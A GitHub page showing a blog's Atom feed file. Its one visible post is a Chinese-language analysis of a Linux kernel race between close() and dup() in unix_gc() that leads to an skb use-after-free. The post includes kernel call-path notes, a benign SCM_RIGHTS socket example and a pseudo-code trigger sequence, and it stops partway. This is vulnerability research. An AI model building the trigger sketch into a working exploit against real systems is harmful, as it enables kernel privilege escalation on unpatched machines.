-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathatom.xml
More file actions
477 lines (251 loc) · 975 KB
/
atom.xml
File metadata and controls
477 lines (251 loc) · 975 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
<title>IceSword Lab</title>
<subtitle>Work hard in silence , let success make the noise.</subtitle>
<link href="/atom.xml" rel="self"/>
<link href="http://yoursite.com/"/>
<updated>2025-07-16T10:02:19.310Z</updated>
<id>http://yoursite.com/</id>
<author>
<name>IceSword Lab</name>
</author>
<generator uri="https://hexo.io/">Hexo</generator>
<entry>
<title>Linux 内核利用技巧 Racing against the clock</title>
<link href="http://yoursite.com/2023/03/10/race_windown/"/>
<id>http://yoursite.com/2023/03/10/race_windown/</id>
<published>2023-03-10T14:00:00.000Z</published>
<updated>2025-07-16T10:02:19.310Z</updated>
<content type="html"><![CDATA[<p>author: 熊潇 of <a href="https://www.iceswordlab.com/about/" target="_blank" rel="noopener">IceSword Lab</a></p><h2 id="概述"><a href="#概述" class="headerlink" title="概述"></a>概述</h2><p>原文: <strong><a href="https://googleprojectzero.blogspot.com/2022/03/racing-against-clock-hitting-tiny.html" target="_blank" rel="noopener">Racing against the clock – hitting a tiny kernel race window</a></strong></p><ul><li>Part.1: 漏洞原理简述</li><li>Part.2: 对比较容易产生疑惑的地方增加了细节说明</li><li>Part.3: 针对文中提高 race 的技巧做了分析</li></ul><h2 id="Part-1"><a href="#Part-1" class="headerlink" title="Part.1"></a>Part.1</h2><p><strong>The bug & race</strong> </p><blockquote><p>The kernel tries to figure out whether it can account for all references to some file by comparing the file’s refcount with the number of references from inflight SKBs (socket buffers). If they are equal, it assumes that the UNIX domain sockets subsystem effectively has exclusive access to the file because it owns all references.</p><p>The problem is that struct file can also be referenced from an RCU read-side critical section (which you can’t detect by looking at the refcount), and such an RCU reference can be upgraded into a refcounted reference using <code>get_file_rcu()</code> / <code>get_file_rcu_many()</code> by <code>__fget_files()</code> as long as the refcount is non-zero.</p></blockquote><ul><li><code>unix_gc()</code> 的预期逻辑是: <code>total_refs</code> 和 <code>inflight_refs</code> 相同就可以认为此时 <code>file</code> 是单独占有的,就可以把 <code>skb</code> 和 <code>file</code> 一起 free 掉</li><li>下面代码 (3) 在 (1) 和 (2)中间执行则 race 成功</li><li>如果 race 没有成功,<code>__fget_files</code> 那里就会发现 <code>f_count</code> 是 0 或者 file 是 NULL</li><li>但是如果 race 成功的话,<code>file->f_count</code> 在 <code>__fget_files()</code> 中会被加 1 ,在 <code>unix_gc</code> 后面的代码中就不会被释放 <code>file</code> 的内存,而只是把 <code>f_count</code> 减 1,这也意味着在 <code>close()</code> 之后依然可以 <code>dup()</code> 成功</li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">dup() -> __fget_files()</span><br><span class="line"> file = files_lookup_fd_rcu(files, fd); <span class="comment">// fdt->fd[fd] (1)</span></span><br><span class="line"> ...</span><br><span class="line"> get_file_rcu_many(file, refs) <span class="comment">// update: f_count+1 (2)</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">close</span>() -> unix_gc()</span><br><span class="line">list_for_each_entry_safe(u, next, &gc_inflight_list, link) {</span><br><span class="line"> total_refs = file_count(u->sk.sk_socket->file); <span class="comment">// read f_count: 1 (3)</span></span><br><span class="line"> inflight_refs = atomic_long_read(&u->inflight); <span class="comment">// inflight_refs: 1</span></span><br><span class="line"> ...</span><br><span class="line"><span class="keyword">if</span> (total_refs == inflight_refs) { <span class="comment">// compare </span></span><br><span class="line">list_move_tail(&u->link, &gc_candidates);</span><br><span class="line"> ...</span><br></pre></td></tr></table></figure><p><strong>unix_gc() 中 file 和 skb 没有同步释放可能造成的影响?</strong></p><p>下面这个方式可以触发 skb UAF: </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">socketpair() <span class="comment">// 获取 socket pair fds: 3, 4</span></span><br><span class="line">sendmsg(<span class="number">4</span>, <span class="number">3</span>) <span class="comment">// 通过 fd 4 发送 fd 3</span></span><br><span class="line">-> skb_queue_tail(&other->sk_receive_queue, skb); <span class="comment">// other 是 fd 4 的 peer 也就是 fd 3, skb 保存了 fd 4 发送的内容也是 fd 3</span></span><br><span class="line"><span class="built_in">close</span>(<span class="number">3</span>) | dup(<span class="number">3</span>) <span class="comment">// close 和 dup 存在 race,dup 如果 race 成功会返回 fd 3</span></span><br><span class="line">recvmsg(<span class="number">3</span>) <span class="comment">// 通过 fd 3 接收 fd 4 发送的 skb</span></span><br><span class="line">-> last = skb = skb_peek(&sk->sk_receive_queue); <span class="comment">// 此时 skb 对应的内存已经被 free 了</span></span><br></pre></td></tr></table></figure><p>skb uaf:</p><ul><li>allocated in: <code>sendmsg() -> unix_stream_sendmsg()</code></li><li>freed in: <code>close() -> unix_gc()</code></li><li>uafed in: <code>recvmsg() -> unix_stream_read_generic()</code></li></ul><h2 id="Part-2"><a href="#Part-2" class="headerlink" title="Part.2"></a>Part.2</h2><h3 id="SCM-RIGHTS-unix-socket"><a href="#SCM-RIGHTS-unix-socket" class="headerlink" title="SCM_RIGHTS unix socket"></a>SCM_RIGHTS unix socket</h3><blockquote><p><code>SCM_RIGHTS</code> is a <strong>socket control message</strong> used for <strong>passing file descriptors</strong> between processes over a UNIX domain socket.</p><p>It allows a process to send an open file descriptor to another process, which can then use the file descriptor to read or write to the same file or device.</p></blockquote><ul><li><p>example</p><ul><li><p>sender.c</p> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/socket.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/types.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/stat.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><fcntl.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><errno.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/un.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span> </span>{</span><br><span class="line"> <span class="keyword">if</span> (argc < <span class="number">2</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Usage: %s <file_path>\n"</span>, argv[<span class="number">0</span>]);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">char</span> *file_path = argv[<span class="number">1</span>];</span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> sock = socket(AF_UNIX, SOCK_STREAM, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span> (sock == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"socket"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_un</span> <span class="title">addr</span>;</span></span><br><span class="line"> <span class="built_in">memset</span>(&addr, <span class="number">0</span>, <span class="keyword">sizeof</span>(addr));</span><br><span class="line"> addr.sun_family = AF_UNIX;</span><br><span class="line"> <span class="built_in">strncpy</span>(addr.sun_path, <span class="string">"/tmp/file_transfer.sock"</span>, <span class="keyword">sizeof</span>(addr.sun_path) - <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">connect</span>(sock, (struct sockaddr *) &addr, <span class="keyword">sizeof</span>(addr)) == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"connect"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> fd = <span class="built_in">open</span>(file_path, O_RDONLY);</span><br><span class="line"> <span class="keyword">if</span> (fd == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"open"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">msghdr</span> <span class="title">msg</span> = {</span><span class="number">0</span>};</span><br><span class="line"> <span class="keyword">char</span> buf[CMSG_SPACE(<span class="keyword">sizeof</span>(fd))];</span><br><span class="line"> <span class="built_in">memset</span>(buf, <span class="number">0</span>, <span class="keyword">sizeof</span>(buf));</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">iovec</span> <span class="title">io</span> = {</span> .iov_base = <span class="string">"hello"</span>, .iov_len = <span class="number">5</span> };</span><br><span class="line"> msg.msg_iov = &io;</span><br><span class="line"> msg.msg_iovlen = <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"> msg.msg_control = buf;</span><br><span class="line"> msg.msg_controllen = <span class="keyword">sizeof</span>(buf);</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">cmsghdr</span> *<span class="title">cmsg</span> = <span class="title">CMSG_FIRSTHDR</span>(&<span class="title">msg</span>);</span></span><br><span class="line"> cmsg->cmsg_level = SOL_SOCKET;</span><br><span class="line"> cmsg->cmsg_type = SCM_RIGHTS;</span><br><span class="line"> cmsg->cmsg_len = CMSG_LEN(<span class="keyword">sizeof</span>(fd));</span><br><span class="line"> *((<span class="keyword">int</span> *) CMSG_DATA(cmsg)) = fd;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (sendmsg(sock, &msg, <span class="number">0</span>) == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"sendmsg"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">close</span>(fd);</span><br><span class="line"> <span class="built_in">close</span>(sock);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li><li><p>recver.c</p> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/socket.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/types.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/stat.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><fcntl.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><unistd.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdio.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><stdlib.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><string.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><errno.h></span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string"><sys/un.h></span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> *argv[])</span> </span>{</span><br><span class="line"> <span class="keyword">int</span> sock = socket(AF_UNIX, SOCK_STREAM, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span> (sock == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"socket"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">sockaddr_un</span> <span class="title">addr</span>;</span></span><br><span class="line"> <span class="built_in">memset</span>(&addr, <span class="number">0</span>, <span class="keyword">sizeof</span>(addr));</span><br><span class="line"> addr.sun_family = AF_UNIX;</span><br><span class="line"> <span class="built_in">strncpy</span>(addr.sun_path, <span class="string">"/tmp/file_transfer.sock"</span>, <span class="keyword">sizeof</span>(addr.sun_path) - <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (bind(sock, (struct sockaddr *) &addr, <span class="keyword">sizeof</span>(addr)) == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"bind"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="built_in">listen</span>(sock, <span class="number">1</span>) == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"listen"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">int</span> client_sock = accept(sock, <span class="literal">NULL</span>, <span class="literal">NULL</span>);</span><br><span class="line"> <span class="keyword">if</span> (client_sock == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"accept"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">char</span> buf[<span class="number">256</span>];</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">iovec</span> <span class="title">io</span> = {</span> .iov_base = buf, .iov_len = <span class="keyword">sizeof</span>(buf) };</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">msghdr</span> <span class="title">msg</span> = {</span></span><br><span class="line">.msg_iov = &io,</span><br><span class="line"> .msg_iovlen = <span class="number">1</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="keyword">char</span> control[CMSG_SPACE(<span class="keyword">sizeof</span>(<span class="keyword">int</span>))];</span><br><span class="line">msg.msg_control = control;</span><br><span class="line">msg.msg_controllen = <span class="keyword">sizeof</span>(control);</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (recvmsg(client_sock, &msg, <span class="number">0</span>) == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"recvmsg"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">cmsghdr</span> *<span class="title">cmsg</span> = <span class="title">CMSG_FIRSTHDR</span>(&<span class="title">msg</span>);</span></span><br><span class="line"><span class="keyword">if</span> (cmsg == <span class="literal">NULL</span> || cmsg->cmsg_type != SCM_RIGHTS) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"Invalid message\n"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="keyword">int</span> fd = *((<span class="keyword">int</span> *) CMSG_DATA(cmsg));</span><br><span class="line"><span class="keyword">if</span> (fd == <span class="number">-1</span>) {</span><br><span class="line"> perror(<span class="string">"No file descriptor received"</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// Do something with the received file descriptor</span></span><br><span class="line"><span class="keyword">char</span> buf2[<span class="number">256</span>];</span><br><span class="line"><span class="keyword">ssize_t</span> bytes_read;</span><br><span class="line"><span class="keyword">while</span> ((bytes_read = <span class="built_in">read</span>(fd, buf2, <span class="keyword">sizeof</span>(buf2))) > <span class="number">0</span>) {</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%s"</span>, buf2);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="built_in">close</span>(fd);</span><br><span class="line"><span class="built_in">close</span>(client_sock);</span><br><span class="line"><span class="built_in">close</span>(sock);</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure></li></ul></li></ul><h3 id="Unix-socket-sendmsg-and-recvmsg"><a href="#Unix-socket-sendmsg-and-recvmsg" class="headerlink" title="Unix socket sendmsg() and recvmsg()"></a>Unix socket <code>sendmsg()</code> and <code>recvmsg()</code></h3><ul><li>用于发送和接收 <code>SCM_RIGHTS</code> unix socket 数据的主要处理函数是: <code>unix_stream_sendmsg</code> 和 <code>unix_stream_read_generic</code></li><li>特殊的地方在于:<ul><li><code>sendmsg</code> 的时候会创建 <code>skb</code> 并放在全局列表 <code>gc_inflight_list</code> 和接收端的 <code>sk_receive_queue</code> 上</li><li>发送的 <code>fd</code> 对应的 <code>file</code> 会绑定到 <code>skb</code> 上(<code>f_count</code> 也会加 1)</li><li><code>recvmsg</code> 的时候从 <code>sk_receive_queue</code> 取 <code>skb</code></li><li><code>unix_gc</code> 则从 <code>gc_inflight_list</code> 取 <code>skb</code></li></ul></li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// net/socket.c</span></span><br><span class="line">sendmsg() -> __sys_sendmsg() -> sock_sendmsg()-> sock_sendmsg_nosec() </span><br><span class="line">-> <span class="comment">// sock->ops->sendmsg</span></span><br><span class="line"> unix_stream_sendmsg() <span class="comment">// struct unix_stream_ops </span></span><br><span class="line"> **__scm_send()** </span><br><span class="line"> scm_fp_copy()</span><br><span class="line"> fget_raw(fd)</span><br><span class="line">...</span><br><span class="line"> __fget_files() <span class="comment">// 每个被传递的 fd 引用加 1</span></span><br><span class="line"> other = unix_peer(sk);</span><br><span class="line"> skb = sock_alloc_send_pskb()</span><br><span class="line"> **unix_scm_to_skb()**</span><br><span class="line"> unix_attach_fds() <span class="comment">// fd 与 skb 绑定</span></span><br><span class="line"> unix_inflight()</span><br><span class="line"> list_add_tail(&u->link, &**gc_inflight_list**); <span class="comment">// unix_gc 处理的队列 </span></span><br><span class="line"> **skb->destructor = unix_destruct_scm;** <span class="comment">// 注册 skb destruct</span></span><br><span class="line">**** skb_queue_tail(&other->**sk_receive_queue**, skb); <span class="comment">// skb 直接放到 peer 的 sk_receive_queue 队列上</span></span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">recvmsg() -> __sys_recvmsg() -> ...</span><br><span class="line">-> <span class="comment">// sock->ops->recvmsg</span></span><br><span class="line"> unix_stream_recvmsg()</span><br><span class="line"> unix_stream_read_generic()</span><br><span class="line"> last = skb = skb_peek(&sk->sk_receive_queue);<span class="comment">// 取 skb</span></span><br><span class="line"> scm_recv() <span class="comment">// 处理 fd</span></span><br><span class="line"> scm_detach_fds()</span><br><span class="line">receive_fd_user() <span class="comment">// 接收 fd</span></span><br><span class="line">..</span><br><span class="line">fd_install(new_fd, get_file(file));</span><br><span class="line"> __scm_destroy() <span class="comment">// 释放 skb 绑定的 fd 引用</span></span><br><span class="line"> fput()</span><br><span class="line"> fput_many()</span><br></pre></td></tr></table></figure><p><code>**struct sk_buff *skb</code>, <code>struct unix_sock *u</code>, <code>struct socket *sock</code>, <code>struct sock *sk</code> 和 <code>struct file *file</code> 之间的关系?**</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">socket</span> *<span class="title">sock</span> = &<span class="title">container_of</span>(<span class="title">file</span>-><span class="title">f_inode</span>, </span></span><br><span class="line"><span class="class"><span class="title">struct</span> <span class="title">socket_alloc</span>, <span class="title">vfs_inode</span>)-><span class="title">socket</span></span></span><br><span class="line"><span class="class"><span class="title">struct</span> <span class="title">sock</span> *<span class="title">sk</span> = <span class="title">sock</span>-><span class="title">sk</span></span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="title">struct</span> <span class="title">unix_sock</span> *<span class="title">u</span> = (<span class="title">struct</span> <span class="title">unix_sock</span> *)<span class="title">sk</span></span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="title">struct</span> <span class="title">file</span> *<span class="title">file</span> = <span class="title">u</span>-><span class="title">sk</span>.<span class="title">sk_socket</span>-><span class="title">file</span></span></span><br><span class="line"><span class="class"></span></span><br><span class="line"><span class="class"><span class="title">struct</span> <span class="title">file</span> *<span class="title">file</span> = (*(<span class="title">struct</span> <span class="title">unix_skb_parms</span> *)&((<span class="title">skb</span>)-><span class="title">cb</span>)).<span class="title">fp</span>-><span class="title">fp</span>[<span class="title">i</span>]</span></span><br></pre></td></tr></table></figure><h3 id="unix-gc-做了什么?"><a href="#unix-gc-做了什么?" class="headerlink" title="unix_gc() 做了什么?"></a><code>unix_gc()</code> 做了什么?</h3><ul><li>遍历 <code>gc_inflight_list</code> 获取 <code>unix_sock</code> 对象<ul><li>把满足条件的 <code>unix_sock</code> 添加到 <code>gc_candidates</code></li><li>条件:<code>unix_sock</code> 的文件引用和 <code>skb</code> 引用值相同</li></ul></li><li>遍历 <code>gc_candidates</code><ul><li>把满足条件的 <code>skb</code> 添加到 <code>hitlist</code></li></ul></li><li>释放 <code>hitlist</code> 上的 <code>skb</code> 内存和与之绑定的 <code>struc file</code></li></ul><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">unix_gc()</span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">sk_buff_head</span> <span class="title">hitlist</span>;</span></span><br><span class="line">...</span><br><span class="line">list_for_each_entry_safe(u, next, &gc_inflight_list, link) {</span><br><span class="line">total_refs = file_count(u->sk.sk_socket->file);</span><br><span class="line">inflight_refs = atomic_long_read(&u->inflight);</span><br><span class="line"><span class="keyword">if</span> (total_refs == inflight_refs) {</span><br><span class="line">list_move_tail(&u->link, &gc_candidates);</span><br><span class="line">}</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">skb_queue_head_init(&hitlist);</span><br><span class="line">list_for_each_entry(u, &gc_candidates, link)</span><br><span class="line">scan_children(&u->sk, inc_inflight, &hitlist);</span><br><span class="line">scan_inflight(&u->sk, func, hitlist);</span><br><span class="line">__skb_queue_tail(hitlist, skb);</span><br><span class="line">...</span><br><span class="line">__skb_queue_purge(&hitlist);</span><br><span class="line">kfree_skb(skb);</span><br></pre></td></tr></table></figure><p><strong>unix_gc() 中 file 和 skb 在哪里 free ?</strong> 